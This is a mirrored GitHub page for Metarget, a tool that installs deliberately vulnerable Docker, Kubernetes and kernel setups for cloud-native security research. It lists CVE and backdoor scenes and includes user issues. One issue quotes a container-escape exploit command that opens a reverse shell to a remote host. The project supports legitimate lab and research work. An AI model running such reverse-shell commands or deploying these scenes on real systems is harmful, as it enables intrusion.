Coder Social home page Coder Social logo

metarget / metarget Goto Github PK

View Code? Open in Web Editor NEW
1.0K 17.0 163.0 3.62 MB

Metarget is a framework providing automatic constructions of vulnerable infrastructures.

License: Apache License 2.0

Python 65.50% Shell 2.70% HTML 0.61% JavaScript 1.66% PHP 2.40% Perl 0.05% Dockerfile 0.12% C 26.96%
cloud-native kubernetes container cloud-native-security kubernetes-security container-security container-escape target vulnerable-infrastructure vulnerabilities

metarget's Introduction

metarget-logo

中文 | English

1 Introduction

Metarget = meta- + target, a framework providing automatic constructions of vulnerable infrastructures, used to deploy simple or complicated vulnerable cloud native targets swiftly and automatically.

1.1 Why Metarget?

During security researches, we might find that the deployment of vulnerable environment often takes much time, while the time spent on testing PoC or ExP is comparatively short. In the field of cloud native security, thanks to the complexity of cloud native systems, this issue is more terrible.

There are already some excellent security projects like Vulhub, VulApps in the open-source community, which pack vulnerable scenes into container images, so that researchers could utilize them and deploy scenes quickly.

However, these projects mainly focus on vulnerabilities in applications. What if we need to study the vulnerabilities in the infrastructures like Docker, Kubernetes and even Linux kernel?

Hence, we develop Metarget and hope to solve the deployment issue above to some extent. Furthermore, we also expect that Metarget could help to construct multilayer vulnerable cloud native scenes automatically.

1.2 Install Vulnerability!

In this project, we come up with concepts like installing vulnerabilities and installing vulnerable scenes. Why not install vulnerabilities just like installing softwares? We can do that, because our goals are security research and offensive security.

To be exact, we expect that:

  • metarget cnv install cve-2019-5736 will install Docker with CVE-2019-5736 onto the server.
  • metarget cnv install cve-2018-1002105 will install Kubernetes with CVE-2018-1002105 onto the server.
  • metarget cnv install kata-escape-2020 will install Kata-containers with CVE-2020-2023/2025/2026 onto the server.
  • metarget cnv install cve-2016-5195 will install a kernel with DirtyCoW into the server.

It's cool, right? No more steps. No RTFM. Execute one command and enjoy your coffee.

Furthermore, we expect that:

  • with Metarget's help, ethical hackers are able to deploy simple or complicated cloud native targets swiftly and learn by hacking cloud native environments.
  • metarget appv install dvwa will install a DVWA target onto our vulnerable infrastructure.
  • metarget appv install thinkphp-5-0-23-rce --external will install a ThinkPHP RCE vulnerability with NodePort service onto our vulnerable infrastructure.

You can just run 5 commands below after installing a new Ubuntu and obtain a multi-layer vulnerable scene:

./metarget cnv install cve-2016-5195 # container escape with dirtyCoW
./metarget cnv install cve-2019-5736 # container escape with docker
./metarget cnv install cve-2018-1002105 # kubernetes single-node cluster with cve-2018-1002105
./metarget cnv install privileged-container # deploy a privileged container
./metarget appv install dvwa --external # deploy dvwa target

RCE, container escape, lateral movement, persistence, they are yours now.

More awesome functions are coming! Stay tuned :)

Note:

This project aims to provide vulnerable scenes for security research. The security of scenes generated is not guaranteed. It is NOT recommended to deploy components or scenes with Metarget on the Internet.

2 Installation

2.1 Requirements

  • Ubuntu 16.04 or 18.04 (recommended)
    • for some cases (e.g. new kernel vulnerabilities) specific Ubuntu distributions are needed
    • you can read the note for specific vulnerabilities (prompted by an asterisk (*)) for details
  • Python >= 3.6 (Python 2.x is unsupported!)
  • pip3

2.2 From Source

Clone the repository and install requirements:

git clone https://github.com/brant-ruan/metarget.git
cd metarget/
pip3 install -r requirements.txt

Begin to use Metarget and construct vulnerable scenes. For example:

./metarget cnv install cve-2019-5736

2.3 From PyPI

Currently unsupported.

3 Usage

Metarget needs to be run as root.

It is recommended to add --verbose option when debugging.

3.1 Basic Usage

usage: metarget [-h] [-v] subcommand ...

automatic constructions of vulnerable infrastructures

positional arguments:
  subcommand     description
    gadget       cloud native gadgets (docker/k8s/...) management
    cnv          cloud native vulnerabilities management
    appv         application vulnerabilities management

optional arguments:
  -h, --help     show this help message and exit
  -v, --version  show program's version number and exit

Run ./metarget gadget list to see cloud native components supported currently.

3.2 Manage Cloud Native Components

usage: metarget gadget [-h] subcommand ...

positional arguments:
  subcommand  description
    list      list supported gadgets
    install   install gadgets
    remove    uninstall gadgets

optional arguments:
  -h, --help  show this help message and exit

3.2.1 Case: Install Docker with Specified Version

Run:

./metarget gadget install docker --version 18.03.1

If the command above completes successfully, 18.03.1 Docker will be installed.

3.2.2 Case: Install Kubernetes with Specified Version

Run:

./metarget gadget install k8s --version 1.16.5

If the command above completes successfully, 1.16.5 Kubernetes single-node cluster will be installed.

Note:

Usually, lots of options need to be configured in Kubernetes. As a security research project, Metarget provides some options for installation of Kubernetes:

  -v VERSION, --version VERSION
                        gadget version
  --cni-plugin CNI_PLUGIN
                        cni plugin, flannel by default
  --pod-network-cidr POD_NETWORK_CIDR
                        pod network cidr, default cidr for each plugin by
                        default
  --taint-master        taint master node or not

Metarget supports deployment of multi-node cluster. If you want to add more nodes into the cluster, you can copy tools/install_k8s_worker.sh script and run it on each worker nodes after the successful installation of single-node cluster.

3.2.3 Case: Install Kata-containers with Specified Version

Run:

./metarget gadget install kata --version 1.10.0

If the command above completes successfully, 1.10.0 Kata-containers will be installed.

Note:

You can also specify the type of kata runtime (qemu/clh/fc/...) with --kata-runtime-type option, which is qemu by default.

3.2.4 Case: Install Linux Kernel with Specified Version

Run:

./metarget gadget install kernel --version 5.7.5

If the command above completes successfully, 5.7.5 kernel will be installed.

Note:

Currently, Metarget installs kernels in 2 ways:

  1. apt
  2. if apt package is not available, download *.deb remotely from Ubuntu and try to install

After successful installation of kernel, reboot of system is needed. Metarget will prompt to reboot automatically.

3.3 Manage Vulnerable Scenes Related to Cloud Native Components

usage: metarget cnv [-h] subcommand ...

positional arguments:
  subcommand  description
    list      list supported cloud native vulnerabilities
    install   install cloud native vulnerabilities
    remove    uninstall cloud native vulnerabilities

optional arguments:
  -h, --help  show this help message and exit

Run ./metarget cnv list to see vulnerable scenes related to cloud native components supported currently.

3.3.1 Case: CVE-2019-5736

Run:

./metarget cnv install cve-2019-5736

If the command above completes successfully, Docker with CVE-2019-5736 will be installed。

3.3.2 Case: CVE-2018-1002105

Run:

./metarget cnv install cve-2018-1002105

If the command above completes successfully, Kubernetes with CVE-2018-1002105 will be installed。

3.3.3 Case: Kata-containers Escape

Run:

./metarget cnv install kata-escape-2020

If the command above completes successfully, Kata-containers with CVE-2020-2023/2025/2026 will be installed。

3.3.4 Case: CVE-2016-5195

Run:

./metarget cnv install cve-2016-5195

If the command above completes successfully, kernel with CVE-2016-5195 will be installed。

3.4 Manage Vulnerable Scenes Related to Cloud Native Applications

usage: metarget appv [-h] subcommand ...

positional arguments:
  subcommand  description
    list      list supported application vulnerabilities
    install   install application vulnerabilities
    remove    uninstall application vulnerabilities

optional arguments:
  -h, --help  show this help message and exit

Run ./metarget appv list to see vulnerable scenes related to cloud native applications supported currently.

Note:

Before deploying application vulnerable scenes, you should install Docker and Kubernetes firstly. You can use Metarget to install Docker and Kubernetes.

3.4.1 Case: DVWA

Run:

./metarget appv install dvwa

If the command above completes successfully, DVWA will be deployed as Deployment and Service resources in current Kubernetes.

Note:

  • You can specify --external option, then the service will be exposed as NodePort, so that you can visit it by IP of the host node (By default, the type of service is ClusterIP).
  • You can specify --host-net option, then the appv will share the host network namespace.
  • You can specify --host-pid option, then the appv will share the host pid namespace.

3.5 Manage Vulnerable Cloud Native Target Cluster

Developing, currently not supported.

4 Scene List

4.1 Vulnerable Scenes Related to Cloud Native Components

If there is an asterisk (*) following the name of one vulnerable scene, you need to read the note related to it below the whole table for further details.

Name Class Type CVSS 3.x Writeup*
cve-2018-15664 docker container_escape 7.5
cve-2019-13139 docker command_execution 8.4 link
cve-2019-14271 docker container_escape 9.8 link
cve-2020-15257 docker/containerd container_escape 5.2 link
cve-2019-5736 docker/runc container_escape 8.6
cve-2019-16884 docker/runc container_escape 7.5
cve-2021-30465* docker/runc container_escape 7.6 link
cve-2017-1002101 k8s container_escape 9.6 link
cve-2018-1002105 k8s privilege_escalation 9.8
cve-2018-1002100 k8s/kubectl container_escape 5.5
cve-2019-1002101 k8s/kubectl container_escape 5.5
cve-2019-11246 k8s/kubectl container_escape 6.5
cve-2019-11249 k8s/kubectl container_escape 6.5
cve-2019-11251 k8s/kubectl container_escape 5.7
cve-2019-11253 k8s denial_of_service 7.5
cve-2019-9512 k8s denial_of_service 7.5
cve-2019-9514 k8s denial_of_service 7.5
cve-2019-9946 k8s traffic_interception 7.5
cve-2020-8554 k8s man_in_the_middle 5.0
cve-2020-10749 k8s/kubernetes-cni man_in_the_middle 6.0
cve-2020-8555 k8s server_side_request_forgery 6.3
cve-2020-8557 k8s denial_of_service 5.5
cve-2020-8558 k8s exposure_of_service 8.8
cve-2020-8559 k8s privilege_escalation 6.8
cve-2021-25741 k8s container_escape 8.1
cve-2016-5195 kernel container_escape 7.8
cve-2016-8655 kernel privilege_escalation 7.8
cve-2017-6074 kernel privilege_escalation 7.8
cve-2017-7308 kernel container_escape 7.8 link
cve-2017-16995 kernel privilege_escalation 7.8
cve-2017-1000112 kernel container_escape 7.0 link
cve-2018-18955 kernel privilege_escalation 7.0
cve-2020-14386 kernel container_escape 7.8
cve-2021-3493 kernel privilege_escalation 7.8 link
cve-2021-4204 kernel privilege_escalation -
cve-2021-22555 kernel container_escape 7.8
cve-2022-0185 kernel container_escape 8.4
cve-2022-0492 kernel container_escape 7.8 link
cve-2022-0847 kernel container_escape 7.8 link
cve-2022-0995* kernel privilege_escalation 7.1
cve-2022-25636* kernel privilege_escalation 7.8
cve-2022-23222 kernel privilege_escalation 7.8
cve-2022-27666* kernel privilege_escalation 7.8
kata-escape-2020 kata-containers container_escape 6.3/8.8/8.8
cap_dac_read_search-container config container_escape - link
cap_sys_admin-container config container_escape -
cap_sys_ptrace-container config container_escape -
cap_sys_module-container config container_escape - link
privileged-container config container_escape - link
k8s_backdoor_daemonset config persistence - link
k8s_backdoor_cronjob config persistence - link
k8s_shadow_apiserver config persistence - link
k8s_node_proxy config privilege_escalation - link
mount-docker-sock mount container_escape - link
mount-host-etc mount container_escape -
mount-host-procfs mount container_escape - link
mount-var-log mount container_escape - link

Note:

  • Currently writeups are in Chinese.
  • It is recommended to add --verbose option when debugging.
  • You might find that some kernel vulnerabilities are marked as privilege_escalation, while others container_escape. The essential difference is the payload (get a shell with high privilege or escape first).
    • Thanks to default security mechanisms (e.g. Seccomp, Capabilities) in containers, some kernel vulnerabilities may be hard or almost not to exploit.
    • Hence, vulnerabilities are marked as container_escape if we could reproduce the whole process with Metarget, others temporarily marked as privilege_escalation.
  • For cve-2021-30465, after cnv install cve-2021-30465 (which installs Docker),
    • you'd better install a K8s manually, for exploitation (e.g. cnv install cve-2018-1002105 or gadget install k8s --version 1.16.5 with Metarget).
  • For kernel vulnerabilities below, Ubuntu 21.10 is needed to run Metarget (tested):
    • cve-2022-0995
    • cve-2022-25636
    • cve-2022-27666

4.2 Vulnerable Scenes Related to Cloud Native Applications

These scenes are mainly derived from other open-source projects:

We express sincere gratitude to projects above!

Metarget converts scenes in projects above to Deployments and Services resources in Kubernetes (thanks to kompose).

To list vulnerable scenes related to cloud native applications supported by Metarget, just run:

./metarget appv list

Note:

5 DEMO

asciicast

6 Development Plan

  • deployments of basic cloud native components (docker, k8s)
  • integrations of vulnerable scenes related to cloud native components
  • integrations of RCE scenes in containers
  • automatic construction of multi-node cloud native target cluster
  • integrations of other cloud native vulnerable scenes (long term)

7 Maintainers

8 Contribution

One of Metarget's goals is to facilitate more rapid construction of vulnerable environments when vulnerabilities occur. Also, it could be used to construct all the integrated vulnerable scenes whenever you want.

To keep Metarget up-to-date, the vulnerable scenes lists (both cnv and appv) will be maintained.

YAML is used in Metarget to describe & integrate vulnerable scenes. Currently, scenes in two layers, cnv (in vulns_cn/) and appv (in vulns_app/), are supported.

Maintenance from the community is appreciated and welcome. Hope that we can gather and share our knowledge and researches in the context of Metarget, and promote the development of cloud native security.

Currently, you can contribute to Metarget in two ways:

  1. Submit YAML files of new cloud native vulnerabilities (cnv).
  2. Submit YAML files of new cloud native application vulnerabilities (appv).

Please see CONTRIBUTING.md for details.

9 Collaboration (Contact us at [email protected])

We eagerly welcome collaboration with universities, research institutions, and other academic entities! Metarget is dedicated to being an ideal experimental platform for cutting-edge research in the field of cloud-native security. We believe that cloud-native security will be a forefront topic in the future of network security, and Metarget provides an ideal research environment for this.

Through our robust and flexible framework, you can delve into the security challenges of cloud-native environments, discover and explore innovative solutions, and contribute your expertise and findings to the entire industry's development.

Metarget offers the following distinctive support to collaborators:

  1. Diverse experimental scenarios: Utilize Metarget to effortlessly build various vulnerable cloud-native target environments, covering a spectrum of experiment scenarios from simple to complex.

  2. Support for multiple versions of Kernel, Kubernetes, and other cloud-native components: Metarget consistently updates to support the latest versions of components, ensuring that you can use the latest technologies in your experiments.

  3. Customization of Ubuntu versions: We will tailor Ubuntu versions based on your experimental requirements, providing you with a more flexible experimental environment configuration.

  4. Automatic generation of multi-node cloud-native clusters: Metarget offers the functionality to automatically create multi-node cloud-native target clusters, enhancing the realism and depth of your research.

  5. ...

Joining Metarget provides you with comprehensive technical support and abundant collaboration opportunities, allowing you to explore the forefront of cloud-native security and contribute your unique insights to the future development of network security. We look forward to your participation in collectively shaping a new chapter in cybersecurity research!

10 About Logo

It is not a Kubernetes, but a vulnerable infrastructure with three gears which could not work well (vulnerable) :)

10 License

Metarget is licensed under Apache License 2.0. See LICENSE for the full license text.

11 Events

KCon 2021 Arsenal

OpenInfra Days Asia 2021

OpenInfra Days China 2021

CCF BDTC 2021

  • Topic: 构建云原生基础设施靶场

Reference in Paper (IEEE TPS-ISA 2021)

  • Paper: Security Challenges in the Container Cloud
  • PDF: TPS21.pdf

CSDN Cloud Native Security Summit 2022

Reference in Paper (IC2E 2022)

CIS 2022

Metarget Joins CNCF Landscape

metarget's People

Contributors

botianzhe avatar brant-ruan avatar d10scxy avatar duowen1 avatar esifiel avatar felixfu59 avatar hzxdt avatar listenermoya avatar lvzhizheng avatar moui0 avatar n7utb avatar no-github avatar zpqqq10 avatar zzhha avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

metarget's Issues

Nested virtualization support

Metarget will support nested virtualization by integrating with Vagrant and QEMU. So we can construct complex vulnerable targets within stand-alone VMs.

下载内核漏洞cve-2020-14386 显示/tmp是一个文件夹

执行命令sudo ./metarget cnv install cve-2020-14386,python异常输出如下:

Traceback (most recent call last):
  File "./metarget", line 231, in <module>
    main()
  File "./metarget", line 224, in main
    args.func(args)
  File "/home/user/Desktop/metarget/cmds/cnv.py", line 136, in install
    gadgets=vuln['dependencies'], verbose=args.verbose):
  File "/home/user/Desktop/metarget/core/env_managers/kernel_installer.py", line 54, in install_by_version
    version, verbose=verbose)
  File "/home/user/Desktop/metarget/core/env_managers/kernel_installer.py", line 86, in _install_by_version_with_download
    cls.download_file(deb, config.kernel_packages_dir)
  File "/home/user/Desktop/metarget/core/env_managers/installer.py", line 300, in download_file
    with open(dst, 'wb') as f:
IsADirectoryError: [Errno 21] Is a directory: '/tmp'

原因是字符串dst此时为'/tmp',是一个目录。修改metarget/core/env_managers/installer.py第299行:

原代码

dst=save_path

修改后

dst=save_path+'/'+url.split('/')[-1]

support other Linux distributions

currently Metarget does not support other Linux distributions like CentOS as host; in the future we might add an abstraction layer for functions related to specific OS distributions and then all the specific commands (e.g. apt, yum, ...) and installation processes could be added as plugin.

optimize installation of gadgets when there are more than one gadgets

E.g. for cve-2020-15257 which needs two gadgets (docker-ce and containerd), if Metarget finds docker-ce with specified version has been installed, it should just pop this gadget out of the temp_gadgets list, so that only containerd need to be installed later. Currently, the logic is, if not all the gadgets have been installed, Metarget will install all of them once again, which is not elegant :P

默认设置的特性门控不适用部分版本的k8s

你好,我在使用./metarget cnv install cve-2019-1002101 --verbose --domestic命令安装cve-2019-1002101漏洞场景时,安装后k8s没有成功启动,出现了下图报错,经过排查发现kubelet配置文件中设置了特性门控:--feature-gates SupportNodePidsLimit=false
image

这个漏洞环境安装的k8s版本为1.11.1,而这个设置适用开始于1.14版本,低版本下没有办法设置,导致kubelet服务暂停
参考链接:https://kubernetes.io/zh/docs/reference/command-line-tools-reference/feature-gates/#using-a-feature
删除这个配置后,重启kubelet,服务正常。

judge vulnerabilities with version range

Currently for each vulnerability we specify a specific version of component. If that version has been installed, we do not have to install the vulnerability again. It will be better if we can check vulnerability with a version range, not a single version number. In this way, if we have installed vulnerability A, and the version is also vulnerable to vulnerability B, then we do not have to install vulnerability B as well.

Install cve-2017-7308,error: kernel package list not found.

Hey, it's me again.
I was installing cve-2017-7308. I firstly ran git pull to get my metarget update to your registry. And I ran ./metarget cnv install cve-2017-7308, then the output is:

cve-2017-7308 is going to be installed
switching kernel by version
adding apt repository deb http://security.ubuntu.com/ubuntu trusty-security main
adding apt repository deb http://security.ubuntu.com/ubuntu xenial-security main
adding apt repository deb http://security.ubuntu.com/ubuntu bionic-security main
warning: no apt package for kernel 4.8.0-34
switching kernel version with downloading packages
retrieving package list for kernel 4.8.0-34
error: kernel package list not found
error: failed to install cve-2017-7308

My kernel version is 5.0.0-23-generic, and my operating system is Ubuntu 18.04.

gadget安装建议

使用gadget参数安装组件时,建议给出可安装的list,如 gagdet k8s list:
1.18.5
1.19.5
1.22.0
类似这样

配置cve-2020-15257的小问题

在Ubuntu18.04和16.04分别搭建过环境,最后结果都下面所示,Linux内核版本是5.8.0-59-generic

sudo ./metarget cnv install cve-2020-15257 --verbose
cve-2020-15257 is going to be installed
uninstalling current docker gadgets if applicable
Reading package lists... Done
Building dependency tree       
Reading state information... Done
The following packages were automatically installed and are no longer required:
  aufs-tools cgroupfs-mount pigz
Use 'sudo apt autoremove' to remove them.
The following packages will be REMOVED:
  docker-ce
0 upgraded, 0 newly installed, 1 to remove and 444 not upgraded.
After this operation, 181 MB disk space will be freed.
(Reading database ... 133309 files and directories currently installed.)
Removing docker-ce (18.03.1~ce~3-0~ubuntu) ...
Processing triggers for man-db (2.8.3-2ubuntu0.1) ...
Reading package lists... Done
Building dependency tree       
Reading state information... Done
Package 'docker' is not installed, so not removed
The following packages were automatically installed and are no longer required:
  aufs-tools cgroupfs-mount pigz
Use 'sudo apt autoremove' to remove them.
0 upgraded, 0 newly installed, 0 to remove and 444 not upgraded.
Reading package lists... Done
Building dependency tree       
Reading state information... Done
Package 'docker-engine' is not installed, so not removed
The following packages were automatically installed and are no longer required:
  aufs-tools cgroupfs-mount pigz
Use 'sudo apt autoremove' to remove them.
0 upgraded, 0 newly installed, 0 to remove and 444 not upgraded.
Reading package lists... Done
Building dependency tree       
Reading state information... Done
Package 'docker.io' is not installed, so not removed
The following packages were automatically installed and are no longer required:
  aufs-tools cgroupfs-mount pigz
Use 'sudo apt autoremove' to remove them.
0 upgraded, 0 newly installed, 0 to remove and 444 not upgraded.
Reading package lists... Done
Building dependency tree       
Reading state information... Done
Package 'containerd' is not installed, so not removed
The following packages were automatically installed and are no longer required:
  aufs-tools cgroupfs-mount pigz
Use 'sudo apt autoremove' to remove them.
0 upgraded, 0 newly installed, 0 to remove and 444 not upgraded.
Reading package lists... Done
Building dependency tree       
Reading state information... Done
Package 'runc' is not installed, so not removed
The following packages were automatically installed and are no longer required:
  aufs-tools cgroupfs-mount pigz
Use 'sudo apt autoremove' to remove them.
0 upgraded, 0 newly installed, 0 to remove and 444 not upgraded.
installing prerequisites
Hit:1 https://mirrors.tuna.tsinghua.edu.cn/ubuntu bionic InRelease
Hit:2 https://mirrors.tuna.tsinghua.edu.cn/ubuntu bionic-updates InRelease          
Hit:3 https://mirrors.tuna.tsinghua.edu.cn/ubuntu bionic-backports InRelease                                  
Hit:4 https://mirrors.tuna.tsinghua.edu.cn/ubuntu bionic-security InRelease                                   
Hit:5 http://archive.ubuntu.com/ubuntu xenial-updates InRelease                                               
Hit:6 http://archive.ubuntu.com/ubuntu bionic-updates InRelease
Hit:7 https://download.docker.com/linux/ubuntu bionic InRelease
Reading package lists... Done         
Reading package lists... Done
Building dependency tree       
Reading state information... Done
ca-certificates is already the newest version (20210119~18.04.1).
software-properties-common is already the newest version (0.96.24.32.14).
apt-transport-https is already the newest version (1.6.13).
gnupg-agent is already the newest version (2.2.4-1ubuntu1.4).
The following packages were automatically installed and are no longer required:
  aufs-tools cgroupfs-mount pigz
Use 'sudo apt autoremove' to remove them.
0 upgraded, 0 newly installed, 0 to remove and 444 not upgraded.
adding apt repository deb [arch=amd64] https://download.docker.com/linux/ubuntu bionic stable
OK
Hit:1 https://mirrors.tuna.tsinghua.edu.cn/ubuntu bionic InRelease
Hit:2 https://mirrors.tuna.tsinghua.edu.cn/ubuntu bionic-updates InRelease                                                                                     
Hit:3 https://mirrors.tuna.tsinghua.edu.cn/ubuntu bionic-backports InRelease                                                                                   
Hit:4 https://mirrors.tuna.tsinghua.edu.cn/ubuntu bionic-security InRelease                                                                                                              
Hit:5 https://download.docker.com/linux/ubuntu bionic InRelease                                                                                                                          
Hit:6 http://archive.ubuntu.com/ubuntu xenial-updates InRelease
Hit:7 http://archive.ubuntu.com/ubuntu bionic-updates InRelease
Reading package lists... Done
adding apt repository deb http://archive.ubuntu.com/ubuntu xenial-updates universe
Hit:1 https://mirrors.tuna.tsinghua.edu.cn/ubuntu bionic InRelease
Hit:2 https://mirrors.tuna.tsinghua.edu.cn/ubuntu bionic-updates InRelease                                                               
Hit:3 https://mirrors.tuna.tsinghua.edu.cn/ubuntu bionic-backports InRelease                                                             
Hit:4 https://mirrors.tuna.tsinghua.edu.cn/ubuntu bionic-security InRelease                                                                                                              
Hit:5 https://download.docker.com/linux/ubuntu bionic InRelease                                                                                                                          
Hit:6 http://archive.ubuntu.com/ubuntu xenial-updates InRelease
Hit:7 http://archive.ubuntu.com/ubuntu bionic-updates InRelease
Reading package lists... Done
adding apt repository deb http://archive.ubuntu.com/ubuntu bionic-updates universe
Hit:1 https://mirrors.tuna.tsinghua.edu.cn/ubuntu bionic InRelease
Hit:2 https://mirrors.tuna.tsinghua.edu.cn/ubuntu bionic-updates InRelease                                                                                     
Hit:3 https://mirrors.tuna.tsinghua.edu.cn/ubuntu bionic-backports InRelease                                                                                                             
Hit:4 https://mirrors.tuna.tsinghua.edu.cn/ubuntu bionic-security InRelease                                                                                                              
Hit:5 https://download.docker.com/linux/ubuntu bionic InRelease                                                                                                                          
Hit:6 http://archive.ubuntu.com/ubuntu xenial-updates InRelease
Hit:7 http://archive.ubuntu.com/ubuntu bionic-updates InRelease
Reading package lists... Done
Hit:1 https://mirrors.tuna.tsinghua.edu.cn/ubuntu bionic InRelease
Hit:2 https://mirrors.tuna.tsinghua.edu.cn/ubuntu bionic-updates InRelease                                                                                                               
Hit:3 https://mirrors.tuna.tsinghua.edu.cn/ubuntu bionic-backports InRelease                                                                                                             
Hit:4 https://mirrors.tuna.tsinghua.edu.cn/ubuntu bionic-security InRelease                                                                                                              
Hit:5 https://download.docker.com/linux/ubuntu bionic InRelease                                                                                                                          
Hit:6 http://archive.ubuntu.com/ubuntu xenial-updates InRelease
Hit:7 http://archive.ubuntu.com/ubuntu bionic-updates InRelease
Reading package lists... Done
installing docker-ce with 18.03.1~ce~3-0~ubuntu version
Reading package lists... Done
Building dependency tree       
Reading state information... Done
The following NEW packages will be installed:
  docker-ce
0 upgraded, 1 newly installed, 0 to remove and 444 not upgraded.
Need to get 0 B/33.9 MB of archives.
After this operation, 181 MB of additional disk space will be used.
Selecting previously unselected package docker-ce.
(Reading database ... 133095 files and directories currently installed.)
Preparing to unpack .../docker-ce_18.03.1~ce~3-0~ubuntu_amd64.deb ...
Unpacking docker-ce (18.03.1~ce~3-0~ubuntu) ...
Setting up docker-ce (18.03.1~ce~3-0~ubuntu) ...
Processing triggers for ureadahead (0.100.0-21) ...
Processing triggers for systemd (237-3ubuntu10.24) ...
Processing triggers for man-db (2.8.3-2ubuntu0.1) ...
warning: no candidate version for containerd
warning: docker seems to be installed, but some errors happened during installation
cve-2020-15257 successfully installed

安装成功,但是显示有warning

然后按照Writeup的方式去复现,可以找到抽象命名空间的套接字。但是在进行exploit时发现结果如下所示:

root@ubuntu:/tmp# run shim-pwn reverse xx.xx.xx.xx 1234
bash: run: command not found
root@ubuntu:/tmp# ./cdk_linux_amd64 run shim-pwn reverse xx.xx.xx.xx 1234
2021/06/28 07:55:31 tring to spawn shell to 49.232.1.8:1234
2021/06/28 07:55:31 try socket: @/containerd-shim/moby/b2d38375588b3b988f9010ce551d785a2bdb37a497aed068c8482b0776af2910/shim.sock
2021/06/28 07:55:31 rpc error response.:
rpc error: code = Unknown desc = OCI runtime create failed: exec: "runc": executable file not found in $PATH
2021/06/28 07:55:31 exploit failed.

报错信息显示runc不在PATH路径下,执行runc提示需要安装。发现实际上安装的runc可执行文件为docker-runc,创建软链接后利用成功。

似乎如果系统安装过docker,再利用metarget安装漏洞环境就会导致runc的名称问题。不知道这属不属于bug,或许在writeup上可以做下标注?

cve-2019-16884 can't work because of the wrong runc version

While reproducing the cve-2019-16884 I find it can't work. After digging into this it seems the runc version is wrong.
When I reproduce this issue in here opencontainers/runc#2128
I got following error:

cannot be mounted because it is located inside \\\"/proc\\\\

The runc version for this issue is docker-ce 18.03.1(runc 1.0.0-rc5).

If we use runc 1.0.0-rc6 it can work.

The reason that runc 1.0.0-rc6 can work because this change(linux: drop check for /proc as invalid dest):
opencontainers/runc@636b664

So this issue can only trigger after 1.0.0-rc6.

Don't know the relation of docker-ce version and runc version.

Maybe we need to download runc and replace the docker-ce shipped runc.

Thanks,
Li Qiang

add recommended vagrant box

We will add recommended vagrant box to reproduce specific vulnerabilities scenes for the table in README :)

docker安装警告

使用./metarget gadget install docker -v 18.03 --verbose和./metarget cnv install cve-2020-15257 --verbose安装docker时,
安装成功但会提示以下警告:
图片

cve-2019-14271,docker cp

How to solve this problem
docker cp test:/etc/passwd /home
Error response from daemon: error processing tar file: docker-tar: relocation error: /lib/x86_64-linux-gnu/libnss_files.so.2: symbol __libc_readline_unlocked version GLIBC_PRIVATE not defined in file libc.so.6 with link time reference
: exit status 127

add support for more Linux kernel vulnerabilities

Currently Metarget is used to create cloud native vulnerabilities, but it could also facilitate the process of kernel vulnerabilities construction. Hence, we plan to support more Linux kernel vulnerabilities.

安装低版本docker依赖问题

你好,我在使用./metarget gadget install docker --version 17.01 --verbose 命令安装17.01版本的docker时,提示安装成功,实际上并没有安装,后来发现是工具添加的docker依赖里面没有低版本的安装包,需要手动添加deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable 然后更新才可以手动安装18以下版本的docker环境

这种情况出现在漏洞环境需要18以下的docker版本

install appv without installment of k8s

Currently, all applications vulnerabilities in metarget must be installed in a k8s cluster. For those who just wants to test appv, there is no need to install a k8s.

support removal of kernel

Currently Metarget does not support removal of kernel, which means if we install some vulnerable kernels we must remove them later manually. Metarget should help to delete kernel files which are useless any more.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.